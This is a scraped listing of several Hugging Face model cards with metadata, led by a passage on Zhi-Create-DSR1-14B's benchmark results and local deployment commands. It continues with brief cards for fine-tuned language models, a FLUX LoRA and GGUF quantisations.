comprehensive framework for evaluating large language model writing abilities, the model attained a score of 8.46. This places it in proximity to DeepSeek-R1's performance and represents an advancement over DeepSeek-R1-Distill-Qwen-14B's score of 7.93. With respect to general capabilities, evaluations indicate modest improvements of 2%–5% in knowledge and reasoning tasks (CMMLU, MMLU-Pro), alongside encouraging progress in mathematical reasoning as measured by benchmarks such as AIME-2024, AIME-2025, and GSM8K. The results suggest that the model maintains a balanced performance profile, with improvements observed across creative writing, knowledge/reasoning, and mathematical tasks compared to DeepSeek-R1-Distill-Qwen-14B. These characteristics potentially make it suitable for a range of general-purpose applications. We conducted additional evaluations on the instruction-following ifeval benchmark, with experimental results demonstrating a performance improvement in model capabilities from an initial score of 71.43 to an enhanced score of 74.71. ![general](./general_score.png) <figcaption style="text-align:center; font-size:0.9em; color:#666"> Figure 2: When evaluating model performance, it is recommended to conduct multiple tests and average the results. (We use n=16 and max_tokens=32768 for mathematical tasks and n=2 for others) </figcaption> ## 4. How to Run Locally Zhi-Create-DSR1-14B can be deployed on various hardware configurations, including GPUs with 80GB memory, a single H20/A800/H800, or dual RTX 4090. Additionally, the INT4 quantized version Zhi-Create-DSR1-14B-GPTQ-INT4 can be deployed on a single RTX 4090. ### Transformers ```python from transformers import AutoModelForCausalLM, AutoTokenizer from transformers.generation import GenerationConfig MODEL_NAME = "Zhihu-ai/Zhi-Create-DSR1-14B" tokenizer = AutoTokenizer.from_pretrained(MODEL_NAME, trust_remote_code=True) # use bf16 # model = AutoModelForCausalLM.from_pretrained(MODEL_NAME, device_map="auto", trust_remote_code=True, bf16=True).eval() # use fp16 # model = AutoModelForCausalLM.from_pretrained(MODEL_NAME, device_map="auto", trust_remote_code=True, fp16=True).eval() # use cpu only # model = AutoModelForCausalLM.from_pretrained(MODEL_NAME, device_map="cpu", trust_remote_code=True).eval() # use auto mode, automatically select precision based on the device. model = AutoModelForCausalLM.from_pretrained( MODEL_NAME, device_map="auto", trust_remote_code=True ).eval() # Specify hyperparameters for generation. But if you use transformers>=4.32.0, there is no need to do this. # model.generation_config = GenerationConfig.from_pretrained(MODEL_NAME, trust_remote_code=True) generate_configs = { "temperature": 0.6, "do_sample": True, "top_p": 0.95, "max_new_tokens": 4096 } prompt = "请你以鲁迅的口吻，写一篇介绍西湖醋鱼的文章" messages = [ {"role": "user", "content": prompt} ] text = tokenizer.apply_chat_template( messages, tokenize=False, add_generation_prompt=True ) model_inputs = tokenizer([text], return_tensors="pt").to(model.device) generated_ids = model.generate( model_inputs, generate_configs ) generated_ids = [ output_ids[len(input_ids):] for input_ids, output_ids in zip(model_inputs.input_ids, generated_ids) ] response = tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0] print(response) ``` ### ZhiLight You can easily start a service using [ZhiLight](https://github.com/zhihu/ZhiLight) ```bash docker run -it --net=host --gpus='"device=0"' -v /path/to/model:/mnt/models --entrypoints="" ghcr.io/zhihu/zhilight/zhilight:0.4.17-cu124 python -m zhilight.server.openai.entrypoints.api_server --model-path /mnt/models --port 8000 --enable-reasoning --reasoning-parser deepseek-r1 --served-model-name Zhi-Create-DSR1-14B curl http://localhost:8000/v1/completions \ -H "Content-Type: application/json" \ -d '{ "model": "Zhi-Create-DSR1-14B", "prompt": "请你以鲁迅的口吻，写一篇介绍西湖醋鱼的文章", "max_tokens": 4096, "temperature": 0.6, "top_p": 0.95 }' ``` ### vllm For instance, you can easily start a service using [vLLM](https://github.com/vllm-project/vllm) ```bash # install vllm pip install vllm>=0.6.4.post1 # huggingface model id vllm serve Zhihu-ai/Zhi-Create-DSR1-14B --served-model-name Zhi-Create-DSR1-14B --port 8000 # local path vllm serve /path/to/model --served-model-name Zhi-Create-DSR1-14B --port 8000 curl http://localhost:8000/v1/completions \ -H "Content-Type: application/json" \ -d '{ "model": "Zhi-Create-DSR1-14B", "prompt": "请你以鲁迅的口吻，写一篇介绍西湖醋鱼的文章", "max_tokens": 4096, "temperature": 0.6, "top_p": 0.95 }' ``` ### SGLang You can also easily start a service using [SGLang](https://github.com/sgl-project/sglang) ```bash # install SGLang pip install "sglang[all]>=0.4.5" --find-links https://flashinfer.ai/whl/cu124/torch2.5/flashinfer-python # huggingface model id python -m sglang.launch_server --model-path Zhihu-ai/Zhi-Create-DSR1-14B --served-model-name Zhi-Create-DSR1-14B --port 8000 # local path python -m sglang.launch_server --model-path /path/to/model --served-model-name Zhi-Create-DSR1-14B --port 8000 # send request curl http://localhost:8000/v1/completions \ -H "Content-Type: application/json" \ -d '{ "model": "Zhi-Create-DSR1-14B", "prompt": "请你以鲁迅的口吻，写一篇介绍西湖醋鱼的文章", "max_tokens": 4096, "temperature": 0.6, "top_p": 0.95 }' ``` ### ollama You can download ollama using [this](https://ollama.com/download/) * quantization: Q4_K_M ```bash ollama run zhihu/zhi-create-dsr1-14b ``` * bf16 ```bash ollama run zhihu/zhi-create-dsr1-14b:bf16 ``` ## 5. Usage Recommendations We recommend adhering to the following configurations when utilizing the Zhi-Create-DSR1-14B, including benchmarking, to achieve the expected performance: * Set the temperature within the range of 0.5-0.7 (0.6 is recommended) to prevent endless repetitions or incoherent outputs. * When evaluating model performance, it is recommended to conduct multiple tests and average the results. (We use `n=16` and `max_tokens=32768` for mathematical tasks and `n=2` for others) * To ensure that the model engages in thorough reasoning like DeepSeek-R1 series models, we recommend enforcing the model to initiate its response with "\<think\>\n" at the beginning of every output. ## 6. Citation ```text @misc{Zhi-Create-DSR1-14B, title={Zhi-Create-DSR1-14B: Curriculum Reinforcement and Direct Preference Optimization for Robust Creative Writing in LLMs}, author={Jiewu Wang, Xu Chen, Wenyuan Su, Chao Huang, Hongkui Gao, Lin Feng, Shan Wang, Lu Xu, Penghe Liu, Zebin Ou}, year={2025}, eprint={}, archivePrefix={}, url={https://huggingface.co/Zhihu-ai/Zhi-Create-DSR1-14B}, } ``` ## 7. Contact If you have any questions, please raise an issue or contact us at [[email protected]](mailto:[email protected]).
liam-mnlp/second-mcqa-model	liam-mnlp	2025-05-30T06:46:18Z	0	0	transformers	[ "transformers", "safetensors", "qwen3", "text-generation", "generated_from_trainer", "conversational", "base_model:liam-mnlp/MNLP_M2_mcqa_model", "base_model:finetune:liam-mnlp/MNLP_M2_mcqa_model", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-29T21:17:52Z	--- library_name: transformers base_model: liam-mnlp/MNLP_M2_mcqa_model tags: - generated_from_trainer model-index: - name: first-mcqa-model results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # first-mcqa-model This model is a fine-tuned version of [liam-mnlp/MNLP_M2_mcqa_model](https://huggingface.co/liam-mnlp/MNLP_M2_mcqa_model) on an unknown dataset. ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 2e-05 - train_batch_size: 8 - eval_batch_size: 8 - seed: 42 - optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: linear - num_epochs: 2 ### Training results ### Framework versions - Transformers 4.51.3 - Pytorch 2.7.0+cu126 - Datasets 3.6.0 - Tokenizers 0.21.0
BootesVoid/cmbae48860p391b1y532qmfid_cmbae9tjy001ahy17i2n06jj8	BootesVoid	2025-05-30T06:45:19Z	0	0	diffusers	[ "diffusers", "flux", "lora", "replicate", "text-to-image", "en", "base_model:black-forest-labs/FLUX.1-dev", "base_model:adapter:black-forest-labs/FLUX.1-dev", "license:other", "region:us" ]	text-to-image	2025-05-30T06:45:18Z	--- license: other license_name: flux-1-dev-non-commercial-license license_link: https://huggingface.co/black-forest-labs/FLUX.1-dev/blob/main/LICENSE.md language: - en tags: - flux - diffusers - lora - replicate base_model: "black-forest-labs/FLUX.1-dev" pipeline_tag: text-to-image # widget: # - text: >- # prompt # output: # url: https://... instance_prompt: kélyah_ --- # Cmbae48860P391B1Y532Qmfid_Cmbae9Tjy001Ahy17I2N06Jj8 <Gallery /> ## About this LoRA This is a [LoRA](https://replicate.com/docs/guides/working-with-loras) for the FLUX.1-dev text-to-image model. It can be used with diffusers or ComfyUI. It was trained on [Replicate](https://replicate.com/) using AI toolkit: https://replicate.com/ostris/flux-dev-lora-trainer/train ## Trigger words You should use `kélyah_` to trigger the image generation. ## Run this LoRA with an API using Replicate ```py import replicate input = { "prompt": "kélyah_", "lora_weights": "https://huggingface.co/BootesVoid/cmbae48860p391b1y532qmfid_cmbae9tjy001ahy17i2n06jj8/resolve/main/lora.safetensors" } output = replicate.run( "black-forest-labs/flux-dev-lora", input=input ) for index, item in enumerate(output): with open(f"output_{index}.webp", "wb") as file: file.write(item.read()) ``` ## Use it with the [🧨 diffusers library](https://github.com/huggingface/diffusers) ```py from diffusers import AutoPipelineForText2Image import torch pipeline = AutoPipelineForText2Image.from_pretrained('black-forest-labs/FLUX.1-dev', torch_dtype=torch.float16).to('cuda') pipeline.load_lora_weights('BootesVoid/cmbae48860p391b1y532qmfid_cmbae9tjy001ahy17i2n06jj8', weight_name='lora.safetensors') image = pipeline('kélyah_').images[0] ``` For more details, including weighting, merging and fusing LoRAs, check the [documentation on loading LoRAs in diffusers](https://huggingface.co/docs/diffusers/main/en/using-diffusers/loading_adapters) ## Training details - Steps: 2000 - Learning rate: 0.0004 - LoRA rank: 16 ## Contribute your own examples You can use the [community tab](https://huggingface.co/BootesVoid/cmbae48860p391b1y532qmfid_cmbae9tjy001ahy17i2n06jj8/discussions) to add images that show off what you’ve made with this LoRA.
AmberYifan/Llama-3.1-8B-sft-SPIN-gpt4o-beta0.5-lr1e-7	AmberYifan	2025-05-30T06:41:42Z	0	0	transformers	[ "transformers", "safetensors", "llama", "text-generation", "generated_from_trainer", "trl", "dpo", "conversational", "arxiv:2305.18290", "base_model:AmberYifan/Llama-3.1-8B-sft-ultrachat-safeRLHF", "base_model:finetune:AmberYifan/Llama-3.1-8B-sft-ultrachat-safeRLHF", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-30T06:20:37Z	--- base_model: AmberYifan/Llama-3.1-8B-sft-ultrachat-safeRLHF library_name: transformers model_name: Llama-3.1-8B-sft-SPIN-gpt4o-beta0.5-lr1e-7 tags: - generated_from_trainer - trl - dpo licence: license --- # Model Card for Llama-3.1-8B-sft-SPIN-gpt4o-beta0.5-lr1e-7 This model is a fine-tuned version of [AmberYifan/Llama-3.1-8B-sft-ultrachat-safeRLHF](https://huggingface.co/AmberYifan/Llama-3.1-8B-sft-ultrachat-safeRLHF). It has been trained using [TRL](https://github.com/huggingface/trl). ## Quick start ```python from transformers import pipeline question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?" generator = pipeline("text-generation", model="AmberYifan/Llama-3.1-8B-sft-SPIN-gpt4o-beta0.5-lr1e-7", device="cuda") output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0] print(output["generated_text"]) ``` ## Training procedure [<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/yifanwang/huggingface/runs/hbsctnfy) This model was trained with DPO, a method introduced in [Direct Preference Optimization: Your Language Model is Secretly a Reward Model](https://huggingface.co/papers/2305.18290). ### Framework versions - TRL: 0.12.2 - Transformers: 4.46.3 - Pytorch: 2.7.0 - Datasets: 3.6.0 - Tokenizers: 0.20.3 ## Citations Cite DPO as: ```bibtex @inproceedings{rafailov2023direct, title = {{Direct Preference Optimization: Your Language Model is Secretly a Reward Model}}, author = {Rafael Rafailov and Archit Sharma and Eric Mitchell and Christopher D. Manning and Stefano Ermon and Chelsea Finn}, year = 2023, booktitle = {Advances in Neural Information Processing Systems 36: Annual Conference on Neural Information Processing Systems 2023, NeurIPS 2023, New Orleans, LA, USA, December 10 - 16, 2023}, url = {http://papers.nips.cc/paper_files/paper/2023/hash/a85b405ed65c6477a4fe8302b5e06ce7-Abstract-Conference.html}, editor = {Alice Oh and Tristan Naumann and Amir Globerson and Kate Saenko and Moritz Hardt and Sergey Levine}, } ``` Cite TRL as: ```bibtex @misc{vonwerra2022trl, title = {{TRL: Transformer Reinforcement Learning}}, author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallouédec}, year = 2020, journal = {GitHub repository}, publisher = {GitHub}, howpublished = {\url{https://github.com/huggingface/trl}} } ```
vishaldekate21/llamaFineTune	vishaldekate21	2025-05-30T06:38:19Z	0	0	transformers	[ "transformers", "safetensors", "arxiv:1910.09700", "endpoints_compatible", "region:us" ]	null	2025-05-30T06:37:58Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. 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Content here should link to that section when it is relevant to the training procedure. --> #### Preprocessing [optional] [More Information Needed] #### Training Hyperparameters - Training regime: [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision --> #### Speeds, Sizes, Times [optional] <!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. --> [More Information Needed] ## Evaluation <!-- This section describes the evaluation protocols and provides the results. --> ### Testing Data, Factors & Metrics #### Testing Data <!-- This should link to a Dataset Card if possible. --> [More Information Needed] #### Factors <!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. --> [More Information Needed] #### Metrics <!-- These are the evaluation metrics being used, ideally with a description of why. --> [More Information Needed] ### Results [More Information Needed] #### Summary ## Model Examination [optional] <!-- Relevant interpretability work for the model goes here --> [More Information Needed] ## Environmental Impact <!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF	mradermacher	2025-05-30T06:29:28Z	166	0	transformers	[ "transformers", "gguf", "en", "base_model:AmirhoseinGH/DS-Qwen-7b-GG-CalibratedConfRL", "base_model:quantized:AmirhoseinGH/DS-Qwen-7b-GG-CalibratedConfRL", "license:apache-2.0", "endpoints_compatible", "region:us", "conversational" ]	null	2025-05-24T20:56:21Z	--- base_model: AmirhoseinGH/DS-Qwen-7b-GG-CalibratedConfRL language: - en library_name: transformers license: apache-2.0 quantized_by: mradermacher --- ## About <!-- ### quantize_version: 2 --> <!-- ### output_tensor_quantised: 1 --> <!-- ### convert_type: hf --> <!-- ### vocab_type: --> <!-- ### tags: --> static quants of https://huggingface.co/AmirhoseinGH/DS-Qwen-7b-GG-CalibratedConfRL <!-- provided-files --> weighted/imatrix quants seem not to be available (by me) at this time. If they do not show up a week or so after the static ones, I have probably not planned for them. Feel free to request them by opening a Community Discussion. ## Usage If you are unsure how to use GGUF files, refer to one of [TheBloke's READMEs](https://huggingface.co/TheBloke/KafkaLM-70B-German-V0.1-GGUF) for more details, including on how to concatenate multi-part files. ## Provided Quants (sorted by size, not necessarily quality. IQ-quants are often preferable over similar sized non-IQ quants) \| Link \| Type \| Size/GB \| Notes \| \|:-----\|:-----\|--------:\|:------\| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.Q2_K.gguf) \| Q2_K \| 3.1 \| \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.Q3_K_S.gguf) \| Q3_K_S \| 3.6 \| \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.Q3_K_M.gguf) \| Q3_K_M \| 3.9 \| lower quality \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.Q3_K_L.gguf) \| Q3_K_L \| 4.2 \| \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.IQ4_XS.gguf) \| IQ4_XS \| 4.4 \| \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.Q4_K_S.gguf) \| Q4_K_S \| 4.6 \| fast, recommended \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.Q4_K_M.gguf) \| Q4_K_M \| 4.8 \| fast, recommended \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.Q5_K_S.gguf) \| Q5_K_S \| 5.4 \| \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.Q5_K_M.gguf) \| Q5_K_M \| 5.5 \| \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.Q6_K.gguf) \| Q6_K \| 6.4 \| very good quality \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.Q8_0.gguf) \| Q8_0 \| 8.2 \| fast, best quality \| \| [GGUF](https://huggingface.co/mradermacher/DS-Qwen-7b-GG-CalibratedConfRL-GGUF/resolve/main/DS-Qwen-7b-GG-CalibratedConfRL.f16.gguf) \| f16 \| 15.3 \| 16 bpw, overkill \| Here is a handy graph by ikawrakow comparing some lower-quality quant types (lower is better): ![image.png](https://www.nethype.de/huggingface_embed/quantpplgraph.png) And here are Artefact2's thoughts on the matter: https://gist.github.com/Artefact2/b5f810600771265fc1e39442288e8ec9 ## FAQ / Model Request See https://huggingface.co/mradermacher/model_requests for some answers to questions you might have and/or if you want some other model quantized. ## Thanks I thank my company, [nethype GmbH](https://www.nethype.de/), for letting me use its servers and providing upgrades to my workstation to enable this work in my free time. <!-- end -->
josegmloyo/miky	josegmloyo	2025-05-30T06:27:43Z	0	0	null	[ "license:other", "region:us" ]	null	2025-05-30T05:48:35Z	--- license: other license_name: flux-1-dev-non-commercial-license license_link: https://huggingface.co/black-forest-labs/FLUX.1-dev/blob/main/LICENSE.md ---

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